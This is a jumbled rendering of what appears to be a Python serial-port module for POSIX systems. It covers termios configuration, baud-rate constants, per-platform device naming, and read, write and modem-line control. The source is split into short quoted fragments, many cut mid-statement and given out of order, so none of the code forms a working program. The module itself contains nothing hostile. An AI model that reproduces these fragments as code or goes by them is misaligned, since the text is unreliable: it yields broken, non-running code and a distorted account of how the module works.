0x020100f0): import TERMIOS else: TERMIOS =", "'openbsd3': # BSD (confirmed) def device(port): return '/dev/ttyp%d' % port", "the timeout occurs, it # returns with empty lists ->", "HP-UX (not tested) def device(port): return '/dev/tty%dp0' % (port+1) def", "None: os.close(self.fd) self.fd = None self._isOpen = False def makeDeviceName(self,", "#|TERMIOS.ECHOPRT for flag in ('ECHOCTL', 'ECHOKE'): # netbsd workaround for", "of the serial port and where the counting starts for", "TERMIOS.TIOCMGET or 0x5415 TIOCMBIS = hasattr(TERMIOS, 'TIOCMBIS') and TERMIOS.TIOCMBIS or", "valid file descriptor\") custom_baud = None vmin = vtime =", "xonxoff if hasattr(TERMIOS, 'IXANY'): if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY)", "# set up raw mode / no echo / binary", "if custom_baud is not None: set_special_baudrate(self, custom_baud) def close(self): \"\"\"Close", "- - - - - - - - - def", "specifc implementation and the base # for file-like behavior. for", "= hasattr(TERMIOS, 'TIOCM_CAR') and TERMIOS.TIOCM_CAR or 0x040 TIOCM_RNG = hasattr(TERMIOS,", "continue with a brave attempt to build a device name", "or 0x2000 #TIOCM_OUT2 = hasattr(TERMIOS, 'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2 or 0x4000", "< 0x020200f0): import FCNTL else: FCNTL = fcntl # try", "XXX should there be a warning if setting up rtscts", "poll = select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if size > 0: while", "least on Linux, show the # behavior that they are", "until device becomes ready to read (or something fails) for", "portNotOpenError t = len(data) d = data if self._writeTimeout is", "for later except ValueError: raise ValueError('Invalid baud rate: %r' %", "used with a timeout, and the timeout occurs, it #", "TERMIOS.TIOCM_RTS or 0x004 #TIOCM_ST = hasattr(TERMIOS, 'TIOCM_ST') and TERMIOS.TIOCM_ST or", "else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else: if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF)", "for freebsd4: cuaa%d) def device(port): return '/dev/cuad%d' % port def", "vtime) cc[TERMIOS.VTIME] = vtime # activate settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag,", "show the # behavior that they are always ready to", "but returned no data (device disconnected?)') read.extend(buf) return bytes(read) def", "control rtscts=0, # enable RTS/CTS flow control ) s.setRTS(1) s.setDTR(1)", "and TERMIOS.TIOCM_CAR or 0x040 TIOCM_RNG = hasattr(TERMIOS, 'TIOCM_RNG') and TERMIOS.TIOCM_RNG", "s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_DSR !=", "select was used with a timeout, and the timeout occurs,", "pass else: # io library present class Serial(PosixSerial, io.RawIOBase): pass", "are always ready to read immediately # but reading returns", "# platform detection has failed... sys.stderr.write(\"\"\"\\ don't know how to", "0 (non-blocking operation) also abort when there # is nothing", "0o000017, 57600: 0o010001, 115200: 0o010002, 230400: 0o010003, 460800: 0o010004, 500000:", "Un*x like systems.\"\"\" def open(self): \"\"\"Open port with current settings.", "cc[TERMIOS.VMIN] = vmin # vtime if vtime < 0 or", "== PARITY_NONE: cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity == PARITY_EVEN: cflag", "0o010006, 921600: 0o010007, 1000000: 0o010010, 1152000: 0o010011, 1500000: 0o010012, 2000000:", "even if the device name is not correct for the", "% (sys.platform, os.name, VERSION)) # no exception, just continue with", "return '/dev/ttyS%d' % portnum def set_special_baudrate(port, baudrate): raise SerialException(\"sorry don't", "TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_RI != 0 def getCD(self):", "TIOCCBRK = hasattr(TERMIOS, 'TIOCCBRK') and TERMIOS.TIOCCBRK or 0x5428 class PosixSerial(SerialBase):", "status line: Clear To Send\"\"\" if self.fd is None: raise", "& TIOCM_RI != 0 def getCD(self): \"\"\"Read terminal status line:", "% (self._port, msg)) #~ fcntl.fcntl(self.fd, FCNTL.F_SETFL, 0) # set blocking", "TIOCM_CD != 0 # - - platform specific - -", "raise writeTimeoutError _, ready, _ = select.select([], [self.fd], [], timeleft)", "not run on this platform, sorry.\" # whats up with", "len cflag &= ~TERMIOS.CSIZE if self._bytesize == 8: cflag |=", "device name of the serial port and where the counting", "self._bytesize == 8: cflag |= TERMIOS.CS8 elif self._bytesize == 7:", "raise ValueError(\"sorry don't know how to handle non standard baud", "chances # to work using a string with the real", "derrive from io.RawIOBase try: import io except ImportError: # classic", "with select. WARNING: this function is not portable to different", "% portnum def set_special_baudrate(port, baudrate): raise SerialException(\"sorry don't know how", "vmin # vtime if vtime < 0 or vtime >", "portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CTS", "if size > 0: while len(read) < size: # print", "raise ValueError('Invalid parity: %r' % self._parity) # setup flow control", "platform\") baudrate_constants = {} elif plat[:3] == 'aix': # AIX", "fcntl, termios, struct, select, errno, time from .serialutil import *", "rate, it isn't in our list. ispeed = ospeed =", "< 0 or vmin > 255: raise ValueError('Invalid vmin: %r", "1) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know how to", "if hasattr(TERMIOS, 'IUCLC'): iflag &= ~TERMIOS.IUCLC if hasattr(TERMIOS, 'PARMRK'): iflag", "= bytearray() poll = select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if size >", "%r' % self._stopbits) # setup parity iflag &= ~(TERMIOS.INPCK|TERMIOS.ISTRIP) if", "'/dev/ttyp%d' % port def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know", "0 # - - platform specific - - - -", "this platform\") baudrate_constants = {} elif plat[:3] == 'aix': #", "&= ~(TERMIOS.CSTOPB) elif self._stopbits == STOPBITS_ONE_POINT_FIVE: cflag |= (TERMIOS.CSTOPB) #", "bit specification: %r' % self._stopbits) # setup parity iflag &=", "cflag, lflag, ispeed, ospeed, cc = termios.tcgetattr(self.fd) except termios.error as", "our list. ispeed = ospeed = getattr(TERMIOS, 'B38400') try: custom_baud", "\"\\tread(): size\",size, \"have\", len(read) #debug # wait until device becomes", "also abort when there # is nothing to read. if", "flow control def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know how", "if vmin < 0 or vmin > 255: raise ValueError('Invalid", "fcntl.ioctl(self.fd, TIOCSBRK) else: fcntl.ioctl(self.fd, TIOCCBRK) def setRTS(self, level=1): \"\"\"Set terminal", "set it may return less characters as requested. With no", "{} elif plat[:2] == 'hp': # HP-UX (not tested) def", "0o000012, 2400: 0o000013, 4800: 0o000014, 9600: 0o000015, 19200: 0o000016, 38400:", "wait until device becomes ready to read (or something fails)", "= True #~ self.flushInput() def _reconfigurePort(self): \"\"\"Set communication parameters on", "19200: 0o000016, 38400: 0o000017, 57600: 0o010001, 115200: 0o010002, 230400: 0o010003,", "= fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_RI != 0", "iflag &= ~TERMIOS.PARMRK # setup baud rate try: ispeed =", "> 0: while len(read) < size: # print \"\\tread(): size\",size,", "sys.stderr.write(\"\"\"\\ don't know how to number ttys on this system.", "raise SerialException(\"Can only operate on a valid file descriptor\") custom_baud", "before it can be used.\") # open try: self.fd =", "110: 0o000003, 134: 0o000004, 150: 0o000005, 200: 0o000006, 300: 0o000007,", "when timeout is set, use select to wait for being", "(sys.hexversion < 0x020100f0): import TERMIOS else: TERMIOS = termios if", "== 'aix': # AIX def device(port): return '/dev/tty%d' % (port)", "TIOCM_DTR_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str) def getCTS(self): \"\"\"Read terminal status", "and newer, that provide the new I/O # library, derrive", "return '/dev/cuad%d' % port def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't", "BSD (confirmed) def device(port): return '/dev/ttyp%d' % port def set_special_baudrate(port,", "== PARITY_ODD: cflag |= (TERMIOS.PARENB|TERMIOS.PARODD) else: raise ValueError('Invalid parity: %r'", "platform specific - - - - def drainOutput(self): \"\"\"internal -", "WARNING: this function is not portable to different platforms!\"\"\" if", "level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_RTS_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_RTS_str) def setDTR(self,", "serial port instance with select. WARNING: this function is not", "standard baud rate on this platform\") baudrate_constants = {} #~", "array.array('i', [baudrate]) IOSSIOSPEED = 0x80045402 #_IOW('T', 2, speed_t) fcntl.ioctl(port.fd, IOSSIOSPEED,", "# try to detect the OS so that a device", "'aix': # AIX def device(port): return '/dev/tty%d' % (port) def", "# XXX same as TWO.. there is no POSIX support", "& (select.POLLERR|select.POLLHUP|select.POLLNVAL): raise SerialException('device reports error (poll)') # we don't", "port): return device(port) # - - - - - -", "up 50: 0o000001, 75: 0o000002, 110: 0o000003, 134: 0o000004, 150:", "setting up pass self.fd = None raise else: self._isOpen =", "platforms!\"\"\" if self.fd is None: raise portNotOpenError return self.fd def", "if setting up rtscts (and xonxoff etc) fails?? # buffer", "None for waiting forever xonxoff=0, # enable software flow control", "# hang up 50: 0o000001, 75: 0o000002, 110: 0o000003, 134:", "or 0x040 TIOCM_RNG = hasattr(TERMIOS, 'TIOCM_RNG') and TERMIOS.TIOCM_RNG or 0x080", "# BSD (confirmed) def device(port): return '/dev/ttyp%d' % port def", "the device name is not correct for the platform it", "class POSIX implementation. Serial port configuration is done with termios", "'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1 or 0x2000 #TIOCM_OUT2 = hasattr(TERMIOS, 'TIOCM_OUT2') and", "To Send\"\"\" if self.fd is None: raise portNotOpenError if level:", "- not portable!\"\"\" if self.fd is None: raise portNotOpenError termios.tcdrain(self.fd)", "#TIOCM_ST = hasattr(TERMIOS, 'TIOCM_ST') and TERMIOS.TIOCM_ST or 0x008 #TIOCM_SR =", "cannot be opened.\"\"\" self.fd = None if self._port is None:", "self._interCharTimeout > 0)) and not buf: break # early abort", "or 0x001 TIOCM_DTR = hasattr(TERMIOS, 'TIOCM_DTR') and TERMIOS.TIOCM_DTR or 0x002", "device name is not correct for the platform it has", "characters as requested. With no timeout it will block until", "written.\"\"\" self.drainOutput() def flushInput(self): \"\"\"Clear input buffer, discarding all that", "fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_RTS_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_RTS_str) def setDTR(self, level=1):", "original exception that happened when setting up pass self.fd =", "1 vtime = int(self._interCharTimeout * 10) try: iflag, oflag, cflag,", "baud rate on this platform\") baudrate_constants = {} else: #", "= ospeed = baudrate_constants[self._baudrate] except KeyError: #~ raise ValueError('Invalid baud", "input buffer, discarding all that is in the buffer.\"\"\" if", "need custom baud rate, it isn't in our list. ispeed", "know how to handle non standard baud rate on this", "TERMIOS.TIOCM_RNG or 0x080 TIOCM_DSR = hasattr(TERMIOS, 'TIOCM_DSR') and TERMIOS.TIOCM_DSR or", "TIOCM_zero_str = struct.pack('I', 0) TIOCM_RTS_str = struct.pack('I', TIOCM_RTS) TIOCM_DTR_str =", "return struct.unpack('I',s)[0] & TIOCM_DSR != 0 def getRI(self): \"\"\"Read terminal", "#XXX different device names depending on flow control def set_special_baudrate(port,", "TIOCSBRK = hasattr(TERMIOS, 'TIOCSBRK') and TERMIOS.TIOCSBRK or 0x5427 TIOCCBRK =", "# Do check the Python version as some constants have", "hasattr(TERMIOS, 'TIOCM_DSR') and TERMIOS.TIOCM_DSR or 0x100 TIOCM_CD = hasattr(TERMIOS, 'TIOCM_CD')", "|= ASYNC_SPD_CUST # set serial_struct try: res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL,", "number of bytes is read.\"\"\" if self.fd is None: raise", "= select.select([self.fd],[],[], self._timeout) # If select was used with a", "when there # is nothing to read. if not ready:", "it is select.POLLIN or timeout, that's # handled below buf", "if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH) def flushOutput(self):", "& TIOCM_CTS != 0 def getDSR(self): \"\"\"Read terminal status line:", "0) # set blocking try: self._reconfigurePort() except: try: os.close(self.fd) except:", "% self._baudrate) # may need custom baud rate, it isn't", "timeleft < 0: raise writeTimeoutError _, ready, _ = select.select([],", "io.RawIOBase try: import io except ImportError: # classic version with", "over the serial port.\"\"\" if self.fd is None: raise portNotOpenError", "be opened.\"\"\" self.fd = None if self._port is None: raise", "\"\"\"Flush of file like objects. In this case, wait until", "= {} elif plat == 'openbsd3': # BSD (confirmed) def", "device(port): return '/dev/cuad%d' % port baudrate_constants = {} elif plat[:6]", "TIOCMBIS, TIOCM_RTS_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_RTS_str) def setDTR(self, level=1): \"\"\"Set", "from TERMIOS, use defaults from linux otherwise TIOCMGET = hasattr(TERMIOS,", "rate on this platform\") baudrate_constants = {} elif plat[:5] ==", "device name # even if the device name is not", "be a warning if setting up rtscts (and xonxoff etc)", "self._timeout) # If select was used with a timeout, and", "if self._parity == PARITY_NONE: cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity ==", "xonxoff=0, # enable software flow control rtscts=0, # enable RTS/CTS", "later use. # try to use values from TERMIOS, use", "or \\ plat[:7] == 'freebsd' or \\ plat[:7] == 'openbsd':", "all that is in the buffer.\"\"\" if self.fd is None:", "portable!\"\"\" if self.fd is None: raise portNotOpenError fcntl.fcntl(self.fd, FCNTL.F_SETFL, os.O_NONBLOCK)", "TIOCM_CTS = hasattr(TERMIOS, 'TIOCM_CTS') and TERMIOS.TIOCM_CTS or 0x020 TIOCM_CAR =", "port parameter. def device(portum): return '/dev/ttyS%d' % portnum def set_special_baudrate(port,", "device(port): return '/dev/cuad%d' % port def set_special_baudrate(port, baudrate): raise ValueError(\"sorry", "should work, just need to know the device names. #", "check the Python version as some constants have moved. if", "platform\") baudrate_constants = {} elif plat == 'openbsd3': # BSD", "exception when closing the port # also to keep original", "hasattr(TERMIOS, 'IUCLC'): iflag &= ~TERMIOS.IUCLC if hasattr(TERMIOS, 'PARMRK'): iflag &=", "ospeed = getattr(TERMIOS, 'B%s' % (self._baudrate)) except AttributeError: try: ispeed", "fails?? # buffer # vmin \"minimal number of characters to", "this information to ! the author of this module: sys.platform", "data as select reported it was # ready to read", "drainOutput(self): \"\"\"internal - not portable!\"\"\" if self.fd is None: raise", "on this platform\") baudrate_constants = {} elif plat[:4] == 'irix':", "device names depending on flow control def set_special_baudrate(port, baudrate): raise", "if self._isOpen: if self.fd is not None: os.close(self.fd) self.fd =", "== 'darwin': # OS X version = os.uname()[2].split('.') # Tiger", "time left as timeout timeleft = timeout - time.time() if", "None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_RTS_str) else: fcntl.ioctl(self.fd,", "this function is not portable to different platforms!\"\"\" if self.fd", "or vmin > 255: raise ValueError('Invalid vmin: %r ' %", "hasattr(TERMIOS, 'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1 or 0x2000 #TIOCM_OUT2 = hasattr(TERMIOS, 'TIOCM_OUT2')", "open port %s: %s\" % (self._port, msg)) #~ fcntl.fcntl(self.fd, FCNTL.F_SETFL,", "FCNTL else: FCNTL = fcntl # try to detect the", "self.fd = None if self._port is None: raise SerialException(\"Port must", "|= (TERMIOS.PARENB) elif self._parity == PARITY_ODD: cflag |= (TERMIOS.PARENB|TERMIOS.PARODD) else:", "'TIOCSBRK') and TERMIOS.TIOCSBRK or 0x5427 TIOCCBRK = hasattr(TERMIOS, 'TIOCCBRK') and", "# rtscts if hasattr(TERMIOS, 'CRTSCTS'): if self._rtscts: cflag |= (TERMIOS.CRTSCTS)", "self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_DTR_str)", "see __init__.py # # (C) 2001-2010 <NAME> <<EMAIL>> # this", "rate: %r' % baudrate) baudrate_constants = { 0: 0000000, #", "on this platform\") baudrate_constants = {} else: # platform detection", "return '/dev/ttyf%d' % (port+1) #XXX different device names depending on", "self._writeTimeout > 0: timeout = time.time() + self._writeTimeout else: timeout", "cflag |= (TERMIOS.CRTSCTS) else: cflag &= ~(TERMIOS.CRTSCTS) elif hasattr(TERMIOS, 'CNEW_RTSCTS'):", "version = os.uname()[2].split('.') # Tiger or above can support arbitrary", "= hasattr(TERMIOS, 'TIOCM_RTS') and TERMIOS.TIOCM_RTS or 0x004 #TIOCM_ST = hasattr(TERMIOS,", "= t - n except OSError as v: if v.errno", "raise portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25)) def setBreak(self, level=1): \"\"\"Set break: Controls", "be selected... # this code block should supply a device()", "timeout return bytes(read) if __name__ == '__main__': s = Serial(0,", "setup parity iflag &= ~(TERMIOS.INPCK|TERMIOS.ISTRIP) if self._parity == PARITY_NONE: cflag", "SerialException(\"Port must be configured before it can be used.\") #", "ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references: http://www.easysw.com/~mike/serial/serial.html import sys, os, fcntl, termios,", "lflag &= ~getattr(TERMIOS, flag) oflag &= ~(TERMIOS.OPOST) iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK)", "any exception when closing the port # also to keep", "0o010007, 1000000: 0o010010, 1152000: 0o010011, 1500000: 0o010012, 2000000: 0o010013, 2500000:", "fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str) def getCTS(self): \"\"\"Read terminal status line: Clear", "version < 8 def set_special_baudrate(port, baudrate): raise ValueError(\"baud rate not", "oflag, cflag, lflag, ispeed, ospeed, cc]) # apply custom baud", "set custom baud rate: %r' % baudrate) baudrate_constants = {", "def device(port): return '/dev/cuad%d' % port def set_special_baudrate(port, baudrate): raise", "of characters currently in the input buffer.\"\"\" #~ s =", "!= 0 def getRI(self): \"\"\"Read terminal status line: Ring Indicator\"\"\"", "self.fd = None raise else: self._isOpen = True #~ self.flushInput()", "= {} elif plat[:2] == 'hp': # HP-UX (not tested)", "#~ raise Exception, \"this module does not run on this", "((self._timeout is not None and self._timeout >= 0) or (self._interCharTimeout", "raise SerialException(\"Could not configure port: %s\" % msg) # set", "= %s also add the device name of the serial", "(TERMIOS.CRTSCTS) else: cflag &= ~(TERMIOS.CRTSCTS) elif hasattr(TERMIOS, 'CNEW_RTSCTS'): # try", "fd, event in poll.poll(self._timeout*1000): if event & (select.POLLERR|select.POLLHUP|select.POLLNVAL): raise SerialException('device", "requested number of bytes is read.\"\"\" if self.fd is None:", "TERMIOS.TCOFLUSH) def sendBreak(self, duration=0.25): \"\"\"Send break condition. Timed, returns to", "timeout: # when timeout is set, use select to wait", "{} #~ raise Exception, \"this module does not run on", "% (port + 1) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't", "size-len(read)) # read should always return some data as select", "0 # timeout is done via select if self._interCharTimeout is", "don't know how to handle non standard baud rate on", "- when hardware or software flow control is enabled\"\"\" if", "the given string over the serial port.\"\"\" if self.fd is", "easier use of the serial port instance with select. WARNING:", "&= ~(TERMIOS.PARODD) cflag |= (TERMIOS.PARENB) elif self._parity == PARITY_ODD: cflag", "For timeout == 0 (non-blocking operation) also abort when there", "iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF) # rtscts if", "status line: Data Set Ready\"\"\" if self.fd is None: raise", "raise ValueError('Invalid baud rate: %r' % self._baudrate) # setup char", "exception that happened when setting up pass self.fd = None", "it # returns with empty lists -> thus abort read", "cflag &= ~(TERMIOS.CNEW_RTSCTS) # XXX should there be a warning", "else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str) def getCTS(self): \"\"\"Read terminal status line:", "Jython # module for serial IO for POSIX compatible systems,", "baud rate: %r' % self._baudrate) else: if custom_baud < 0:", "as some constants have moved. if (sys.hexversion < 0x020100f0): import", "def write(self, data): \"\"\"Output the given string over the serial", "None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCSBRK) else: fcntl.ioctl(self.fd, TIOCCBRK)", "- - - def drainOutput(self): \"\"\"internal - not portable!\"\"\" if", "2000000: 0o010013, 2500000: 0o010014, 3000000: 0o010015, 3500000: 0o010016, 4000000: 0o010017", "alternate constant name if self._rtscts: cflag |= (TERMIOS.CNEW_RTSCTS) else: cflag", "happened when setting up pass self.fd = None raise else:", "len: %r' % self._bytesize) # setup stopbits if self._stopbits ==", "if self.fd is None: raise SerialException(\"Can only operate on a", "set_special_baudrate(port, baudrate): raise ValueError(\"baud rate not supported\") def device(port): return", "TERMIOS.TIOCM_ST or 0x008 #TIOCM_SR = hasattr(TERMIOS, 'TIOCM_SR') and TERMIOS.TIOCM_SR or", "with the real device name as port parameter. def device(portum):", "with termios and fcntl. Runs on Linux and many other", "break: Controls TXD. When active, no transmitting is possible.\"\"\" if", "with the platform specifc implementation and the base # for", "hasattr(TERMIOS, flag): lflag &= ~getattr(TERMIOS, flag) oflag &= ~(TERMIOS.OPOST) iflag", "is not None: os.close(self.fd) self.fd = None self._isOpen = False", "device(port): return '/dev/tty%d' % (port) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry", "[self.fd], [], timeleft) if not ready: raise writeTimeoutError d =", "on this platform\") baudrate_constants = {} #~ raise Exception, \"this", "# wait until device becomes ready to read (or something", "Solaris/SunOS (confirmed) def device(port): return '/dev/tty%c' % (ord('a')+port) def set_special_baudrate(port,", "!= 0 def getDSR(self): \"\"\"Read terminal status line: Data Set", "with a timeout, and the timeout occurs, it # returns", "non blocking\" if vmin < 0 or vmin > 255:", "but reading returns nothing. raise SerialException('device reports readiness to read", "close(self): \"\"\"Close port\"\"\" if self._isOpen: if self.fd is not None:", "a timeout is set it may return less characters as", "baudrate_constants = {} elif plat[:3] == 'bsd' or \\ plat[:7]", "return struct.unpack('I',s)[0] # select based implementation, proved to work on", "timeout = None while t > 0: try: n =", "to ! the author of this module: sys.platform = %r", "if __name__ == '__main__': s = Serial(0, baudrate=19200, # baud", "on this platform\") baudrate_constants = {} elif plat[:2] == 'hp':", "or 0x5418 #TIOCM_LE = hasattr(TERMIOS, 'TIOCM_LE') and TERMIOS.TIOCM_LE or 0x001", "array, fcntl buf = array.array('i', [baudrate]) IOSSIOSPEED = 0x80045402 #_IOW('T',", "as requested. With no timeout it will block until the", "vtime > 255: raise ValueError('Invalid vtime: %r' % vtime) cc[TERMIOS.VTIME]", "= vtime = 0 # timeout is done via select", "baud rate bytesize=EIGHTBITS, # number of data bits parity=PARITY_EVEN, #", "to use values from TERMIOS, use defaults from linux otherwise", "if any if custom_baud is not None: set_special_baudrate(self, custom_baud) def", "rtscts=0, # enable RTS/CTS flow control ) s.setRTS(1) s.setDTR(1) s.flushInput()", "just continue with a brave attempt to build a device", "# for the platform plat = sys.platform.lower() if plat[:5] ==", "(TERMIOS.PARENB) elif self._parity == PARITY_ODD: cflag |= (TERMIOS.PARENB|TERMIOS.PARODD) else: raise", "returns with empty lists -> thus abort read operation. #", "that's # handled below buf = os.read(self.fd, size - len(read))", "handle non standard baud rate on this platform\") baudrate_constants =", "and TERMIOS.TIOCM_CD or TIOCM_CAR TIOCM_RI = hasattr(TERMIOS, 'TIOCM_RI') and TERMIOS.TIOCM_RI", "it may return less characters as requested. With no timeout", "by Erk def device(port): return '/dev/dty%02d' % port def set_special_baudrate(port,", "TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_DSR != 0 def getRI(self):", "port %s: %s\" % (self._port, msg)) #~ fcntl.fcntl(self.fd, FCNTL.F_SETFL, 0)", "try: ispeed = ospeed = getattr(TERMIOS, 'B%s' % (self._baudrate)) except", "TERMIOS.TIOCM_DTR or 0x002 TIOCM_RTS = hasattr(TERMIOS, 'TIOCM_RTS') and TERMIOS.TIOCM_RTS or", "elif plat == 'cygwin': # cygwin/win32 (confirmed) def device(port): return", "on flow control def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know", "names depending on flow control def set_special_baudrate(port, baudrate): raise ValueError(\"sorry", "hardware or software flow control is enabled\"\"\" if enable: termios.tcflow(self.fd,", "operation) also abort when there # is nothing to read.", "= hasattr(TERMIOS, 'TIOCM_RNG') and TERMIOS.TIOCM_RNG or 0x080 TIOCM_DSR = hasattr(TERMIOS,", "38400: 0o000017, 57600: 0o010001, 115200: 0o010002, 230400: 0o010003, 460800: 0o010004,", "= None raise SerialException(\"could not open port %s: %s\" %", "if not ready: raise writeTimeoutError d = d[n:] t =", "ASYNC_SPD_CUST = 0x0030 def set_special_baudrate(port, baudrate): import array buf =", "# For timeout == 0 (non-blocking operation) also abort when", "{} elif plat[:5] == 'sunos': # Solaris/SunOS (confirmed) def device(port):", "# setup parity iflag &= ~(TERMIOS.INPCK|TERMIOS.ISTRIP) if self._parity == PARITY_NONE:", "correct for the platform it has chances # to work", "0: 0000000, # hang up 50: 0o000001, 75: 0o000002, 110:", "(confirmed for freebsd4: cuaa%d) def device(port): return '/dev/cuad%d' % port", "elif plat[:6] == 'netbsd': # NetBSD 1.6 testing by Erk", "== 'netbsd': # NetBSD 1.6 testing by Erk def device(port):", "\"aix\", \"beos\", .... # they should work, just need to", "def nonblocking(self): \"\"\"internal - not portable!\"\"\" if self.fd is None:", "buf: break # early abort on timeout return bytes(read) if", "custom_baud is not None: set_special_baudrate(self, custom_baud) def close(self): \"\"\"Close port\"\"\"", "rate on this platform\") baudrate_constants = {} elif plat[:4] ==", "Serial class with the platform specifc implementation and the base", "TIOCINQ, TIOCM_zero_str) return struct.unpack('I',s)[0] # select based implementation, proved to", "Linux (confirmed) def device(port): return '/dev/ttyS%d' % port ASYNC_SPD_MASK =", "enabled\"\"\" if enable: termios.tcflow(self.fd, TERMIOS.TCION) else: termios.tcflow(self.fd, TERMIOS.TCIOFF) # assemble", "STOPBITS_ONE_POINT_FIVE: cflag |= (TERMIOS.CSTOPB) # XXX same as TWO.. there", "Erk def device(port): return '/dev/dty%02d' % port def set_special_baudrate(port, baudrate):", "or above can support arbitrary serial speeds if int(version[0]) >=", "nonblocking(self): \"\"\"internal - not portable!\"\"\" if self.fd is None: raise", "self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def sendBreak(self, duration=0.25):", "not buf: # Disconnected devices, at least on Linux, show", "behavior. for Python 2.6 and newer, that provide the new", "event in poll.poll(self._timeout*1000): if event & (select.POLLERR|select.POLLHUP|select.POLLNVAL): raise SerialException('device reports", "echo / binary cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN)", "version as some constants have moved. if (sys.hexversion < 0x020100f0):", "module: sys.platform = %r os.name = %r serialposix.py version =", "or 0x002 TIOCM_RTS = hasattr(TERMIOS, 'TIOCM_RTS') and TERMIOS.TIOCM_RTS or 0x004", "if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF) #", "characters currently in the input buffer.\"\"\" #~ s = fcntl.ioctl(self.fd,", "custom baud rate, it isn't in our list. ispeed =", "0o010002, 230400: 0o010003, 460800: 0o010004, 500000: 0o010005, 576000: 0o010006, 921600:", "AttributeError: try: ispeed = ospeed = baudrate_constants[self._baudrate] except KeyError: #~", "Terminal Ready\"\"\" if self.fd is None: raise portNotOpenError if level:", "~TERMIOS.IUCLC if hasattr(TERMIOS, 'PARMRK'): iflag &= ~TERMIOS.PARMRK # setup baud", "via select if self._interCharTimeout is not None: vmin = 1", "this platform\") baudrate_constants = {} elif plat[:4] == 'irix': #", "return '/dev/dty%02d' % port def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't", "def device(port): return '/dev/tty%c' % (ord('a')+port) def set_special_baudrate(port, baudrate): raise", "is set it may return less characters as requested. With", "Tiger or above can support arbitrary serial speeds if int(version[0])", "base # for file-like behavior. for Python 2.6 and newer,", "there be a warning if setting up rtscts (and xonxoff", "Use an explicit path (eg /dev/ttyS1) or send this information", "os.read(self.fd, size - len(read)) read.extend(buf) if ((self._timeout is not None", "FileLike): pass else: # io library present class Serial(PosixSerial, io.RawIOBase):", "os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception as msg: self.fd = None raise SerialException(\"could", "= buf[7] / baudrate # update flags buf[4] &= ~ASYNC_SPD_MASK", "- - def drainOutput(self): \"\"\"internal - not portable!\"\"\" if self.fd", "self.fd is not None: os.close(self.fd) self.fd = None self._isOpen =", "POSIX implementation. Serial port configuration is done with termios and", "== 'bsd' or \\ plat[:7] == 'freebsd' or \\ plat[:7]", ".... # they should work, just need to know the", "self.fd is None: raise portNotOpenError read = bytearray() poll =", "0 def getDSR(self): \"\"\"Read terminal status line: Data Set Ready\"\"\"", "TXD. When active, no transmitting is possible.\"\"\" if self.fd is", "author of this module: sys.platform = %r os.name = %r", "#~ s = fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str) s = fcntl.ioctl(self.fd, TIOCINQ,", "the serial port instance with select. WARNING: this function is", "None: raise SerialException(\"Port must be configured before it can be", "software flow control rtscts=0, # enable RTS/CTS flow control )", "for the first serial port. e.g. 'first serial port: /dev/ttyS0'", "ispeed = ospeed = baudrate_constants[self._baudrate] except KeyError: #~ raise ValueError('Invalid", "# when timeout is set, use select to wait for", "def getCD(self): \"\"\"Read terminal status line: Carrier Detect\"\"\" if self.fd", "this system. ! Use an explicit path (eg /dev/ttyS1) or", 